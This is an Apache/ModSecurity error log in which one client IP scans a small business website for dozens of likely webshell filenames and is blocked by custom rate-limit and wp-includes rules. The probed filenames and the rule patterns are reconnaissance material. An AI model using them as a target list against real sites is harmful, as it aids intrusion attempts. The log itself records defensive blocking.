[Sat Apr 18 08:45:32.582092 2026] [:error] [pid 34288:tid 34308] [client 4.212.95.215:6081] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Ipv6.php"] [unique_id "aeLULOTIiy__PtiLmplOUAAAAZA"]
[Sat Apr 18 08:45:33.209061 2026] [:error] [pid 34290:tid 34338] [client 4.212.95.215:6125] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeLULRqX6WpmmAXOBi957AAAAdM"]
[Sat Apr 18 08:45:33.831485 2026] [:error] [pid 34290:tid 34320] [client 4.212.95.215:6083] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeLULRqX6WpmmAXOBi957QAAAcE"]
[Sat Apr 18 08:45:34.782820 2026] [:error] [pid 34290:tid 34329] [client 4.212.95.215:6030] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeLULhqX6WpmmAXOBi958gAAAco"]
[Sat Apr 18 08:45:35.404321 2026] [:error] [pid 34237:tid 34240] [client 4.212.95.215:49151] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-gertdxz.php"] [unique_id "aeLULxBmX4Wq5a6rxfbrtgAAAUE"]
[Sat Apr 18 08:45:36.390039 2026] [:error] [pid 34288:tid 34298] [client 4.212.95.215:6086] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeLUMOTIiy__PtiLmplOVQAAAYY"]
[Sat Apr 18 08:45:38.589653 2026] [:error] [pid 34237:tid 34239] [client 4.212.95.215:6089] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeLUMhBmX4Wq5a6rxfbrvwAAAUA"]
[Sat Apr 18 08:45:39.255178 2026] [:error] [pid 34237:tid 34256] [client 4.212.95.215:6039] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeLUMxBmX4Wq5a6rxfbrwAAAAVE"]
[Sat Apr 18 08:45:40.686167 2026] [:error] [pid 34237:tid 34263] [client 4.212.95.215:6075] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "aeLUNBBmX4Wq5a6rxfbrwwAAAVg"]
[Sat Apr 18 08:45:41.852968 2026] [:error] [pid 13023:tid 13039] [client 4.212.95.215:6042] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeLUNf1e7hG8DAeABB9QfgAAAQ4"]
[Sat Apr 18 08:45:43.062275 2026] [:error] [pid 34237:tid 34262] [client 4.212.95.215:49140] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeLUNxBmX4Wq5a6rxfbryAAAAVc"]
[Sat Apr 18 08:45:43.957080 2026] [:error] [pid 9970:tid 9980] [client 4.212.95.215:6128] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeLUNyYdRLRhVmaIMx0O1QAAAMY"]
[Sat Apr 18 08:45:45.399700 2026] [:error] [pid 13023:tid 13041] [client 4.212.95.215:49132] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yuzuru1.php"] [unique_id "aeLUOf1e7hG8DAeABB9QhwAAARA"]
[Sat Apr 18 08:45:46.412339 2026] [:error] [pid 34290:tid 34340] [client 4.212.95.215:6046] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aeLUOhqX6WpmmAXOBi96DwAAAdU"]
[Sat Apr 18 08:45:47.257546 2026] [:error] [pid 34237:tid 34245] [client 4.212.95.215:49100] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aeLUOxBmX4Wq5a6rxfbrzwAAAUY"]
[Sat Apr 18 08:45:49.740312 2026] [:error] [pid 34288:tid 34300] [client 4.212.95.215:6123] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aeLUPeTIiy__PtiLmplOWQAAAYg"]
[Sat Apr 18 08:45:52.873431 2026] [:error] [pid 9865:tid 9961] [client 4.212.95.215:6143] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aeLUQKzb5knECIY-C-jYhAAAAJg"]
[Sat Apr 18 08:45:54.766047 2026] [:error] [pid 9864:tid 9915] [client 4.212.95.215:6031] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aeLUQoCFeowknfXHM7ldgwAAAEk"]
[Sat Apr 18 08:45:56.041912 2026] [:error] [pid 9970:tid 9983] [client 4.212.95.215:6142] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aeLURCYdRLRhVmaIMx0O5QAAAMk"]
[Sat Apr 18 08:45:57.669484 2026] [:error] [pid 13023:tid 13042] [client 4.212.95.215:6064] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aeLURf1e7hG8DAeABB9QjQAAARE"]
[Sat Apr 18 08:45:59.243198 2026] [:error] [pid 9863:tid 9888] [client 4.212.95.215:6127] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/saorix1.php"] [unique_id "aeLURzjjiypiFrTucbIyMgAAAA8"]
[Sat Apr 18 08:46:00.086993 2026] [:error] [pid 34290:tid 34335] [client 4.212.95.215:49109] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper.php"] [unique_id "aeLUSBqX6WpmmAXOBi96GAAAAdA"]
[Sat Apr 18 08:46:01.814082 2026] [:error] [pid 13023:tid 13047] [client 4.212.95.215:49137] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper.php"] [unique_id "aeLUSf1e7hG8DAeABB9QjwAAARY"]
[Sat Apr 18 08:46:03.052560 2026] [:error] [pid 9863:tid 9878] [client 4.212.95.215:5921] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper.php"] [unique_id "aeLUSzjjiypiFrTucbIyUQAAAAU"]
[Sat Apr 18 08:46:05.151458 2026] [:error] [pid 9970:tid 9981] [client 4.212.95.215:6121] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper.php"] [unique_id "aeLUTSYdRLRhVmaIMx0O7AAAAMc"]
[Sat Apr 18 08:46:06.538928 2026] [:error] [pid 9970:tid 9996] [client 4.212.95.215:6038] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wxpass.php"] [unique_id "aeLUTiYdRLRhVmaIMx0O7wAAANY"]
[Sat Apr 18 08:46:07.503519 2026] [:error] [pid 9864:tid 9919] [client 4.212.95.215:6110] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wxpass.php"] [unique_id "aeLUT4CFeowknfXHM7ldjgAAAE0"]
[Sat Apr 18 08:46:08.277506 2026] [:error] [pid 34290:tid 34338] [client 4.212.95.215:6027] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wxpass.php"] [unique_id "aeLUUBqX6WpmmAXOBi96IAAAAdM"]
[Sat Apr 18 08:46:09.453077 2026] [:error] [pid 9970:tid 9975] [client 4.212.95.215:5968] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wxpass.php"] [unique_id "aeLUUSYdRLRhVmaIMx0O-AAAAME"]
[Sat Apr 18 08:46:10.743798 2026] [:error] [pid 9970:tid 9981] [client 4.212.95.215:5980] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aeLUUiYdRLRhVmaIMx0O-gAAAMc"]
[Sat Apr 18 08:46:11.946292 2026] [:error] [pid 13023:tid 13042] [client 4.212.95.215:49117] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aeLUU_1e7hG8DAeABB9QmgAAARE"]
[Sat Apr 18 08:46:13.366922 2026] [:error] [pid 13023:tid 13033] [client 4.212.95.215:49108] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aeLUVf1e7hG8DAeABB9QngAAAQg"]
[Sat Apr 18 08:46:14.512521 2026] [:error] [pid 34237:tid 34260] [client 4.212.95.215:5981] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/000.php"] [unique_id "aeLUVhBmX4Wq5a6rxfbr9gAAAVU"]
[Sat Apr 18 08:46:15.250395 2026] [:error] [pid 34237:tid 34241] [client 4.212.95.215:5974] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeLUVxBmX4Wq5a6rxfbr_AAAAUI"]
[Sat Apr 18 08:46:16.148154 2026] [:error] [pid 34237:tid 34239] [client 4.212.95.215:6026] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeLUWBBmX4Wq5a6rxfbsAQAAAUA"]
[Sat Apr 18 08:46:17.381563 2026] [:error] [pid 34290:tid 34322] [client 4.212.95.215:6060] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeLUWRqX6WpmmAXOBi96KQAAAcM"]
[Sat Apr 18 08:46:18.023034 2026] [:error] [pid 34237:tid 34250] [client 4.212.95.215:6132] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/config.php"] [unique_id "aeLUWhBmX4Wq5a6rxfbsDQAAAUs"]
[Sat Apr 18 08:46:18.908670 2026] [:error] [pid 34290:tid 34339] [client 4.212.95.215:6084] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "aeLUWhqX6WpmmAXOBi96LwAAAdQ"]
[Sat Apr 18 08:46:19.632187 2026] [:error] [pid 34290:tid 34341] [client 4.212.95.215:6136] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "aeLUWxqX6WpmmAXOBi96NAAAAdY"]
[Sat Apr 18 08:46:20.438688 2026] [:error] [pid 13023:tid 13036] [client 4.212.95.215:5965] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x3x.php"] [unique_id "aeLUXP1e7hG8DAeABB9QpAAAAQs"]
[Sat Apr 18 08:46:21.892468 2026] [:error] [pid 34237:tid 34257] [client 4.212.95.215:6004] File does not exist: /usr/local/apache/htdocs/suspended-page/x3x.php
[Sat Apr 18 08:46:22.206250 2026] [:error] [pid 34237:tid 34243] [client 4.212.95.215:6004] File does not exist: /usr/local/apache/htdocs/suspended-page/xy.php
[Sat Apr 18 08:46:22.550331 2026] [:error] [pid 34237:tid 34252] [client 4.212.95.215:6004] File does not exist: /usr/local/apache/htdocs/suspended-page/global.php
[Sat Apr 18 08:46:22.789970 2026] [:error] [pid 34237:tid 34251] [client 4.212.95.215:6004] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sat Apr 18 08:46:23.029498 2026] [:error] [pid 34237:tid 34253] [client 4.212.95.215:6004] File does not exist: /usr/local/apache/htdocs/suspended-page/link.php
[Sat Apr 18 08:46:23.300705 2026] [:error] [pid 34237:tid 34261] [client 4.212.95.215:6004] File does not exist: /usr/local/apache/htdocs/suspended-page/ortasekerli1.php
[Sat Apr 18 08:46:23.559585 2026] [:error] [pid 34237:tid 34244] [client 4.212.95.215:6004] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-block.php
[Sat Apr 18 08:46:23.799323 2026] [:error] [pid 34237:tid 34259] [client 4.212.95.215:6004] [client 4.212.95.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeLUXxBmX4Wq5a6rxfbsNQAAAVQ"]
[Sat Apr 18 08:46:25.083075 2026] [:error] [pid 9863:tid 9881] [client 4.212.95.215:6116] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Sat Apr 18 08:46:25.335949 2026] [:error] [pid 9863:tid 9878] [client 4.212.95.215:6116] File does not exist: /usr/local/apache/htdocs/suspended-page/fs.php
[Sat Apr 18 08:46:25.580197 2026] [:error] [pid 9863:tid 9888] [client 4.212.95.215:6116] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Sat Apr 18 08:46:25.874501 2026] [:error] [pid 9863:tid 9885] [client 4.212.95.215:6116] File does not exist: /usr/local/apache/htdocs/suspended-page/ws57.php
[Sat Apr 18 08:46:26.109961 2026] [:error] [pid 9863:tid 9887] [client 4.212.95.215:6116] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeLUYjjjiypiFrTucbIycQAAAA4"]
[Sat Apr 18 08:46:27.479986 2026] [:error] [pid 34237:tid 34262] [client 4.212.95.215:5957] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeLUYxBmX4Wq5a6rxfbsQwAAAVc"]
[Sat Apr 18 08:46:29.957543 2026] [:error] [pid 34290:tid 34329] [client 4.212.95.215:5954] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeLUZRqX6WpmmAXOBi96RAAAAco"]
[Sat Apr 18 08:46:30.859432 2026] [:error] [pid 13023:tid 13044] [client 4.212.95.215:6001] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws61.php"] [unique_id "aeLUZv1e7hG8DAeABB9QuwAAARM"]
[Sat Apr 18 08:46:32.840148 2026] [:error] [pid 9970:tid 9993] [client 4.212.95.215:49148] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeLUaCYdRLRhVmaIMx0PDgAAANM"]
[Sat Apr 18 08:46:33.754066 2026] [:error] [pid 9864:tid 9927] [client 4.212.95.215:6074] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeLUaYCFeowknfXHM7ldkgAAAFU"]
[Sat Apr 18 08:46:35.151246 2026] [:error] [pid 9863:tid 9873] [client 4.212.95.215:49123] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeLUazjjiypiFrTucbIyhgAAAAA"]
[Sat Apr 18 08:46:36.756873 2026] [:error] [pid 34237:tid 34258] [client 4.212.95.215:6066] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws66.php"] [unique_id "aeLUbBBmX4Wq5a6rxfbsYAAAAVM"]
[Sat Apr 18 08:46:39.561558 2026] [:error] [pid 13023:tid 13032] [client 4.212.95.215:6063] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeLUb_1e7hG8DAeABB9Q4gAAAQc"]
[Sat Apr 18 08:46:41.180916 2026] [:error] [pid 9863:tid 9891] [client 4.212.95.215:5890] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeLUcTjjiypiFrTucbIyjwAAABI"]
[Sat Apr 18 08:46:42.430897 2026] [:error] [pid 34237:tid 34256] [client 4.212.95.215:5997] [client 4.212.95.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws80.php"] [unique_id "aeLUchBmX4Wq5a6rxfbsawAAAVE"]
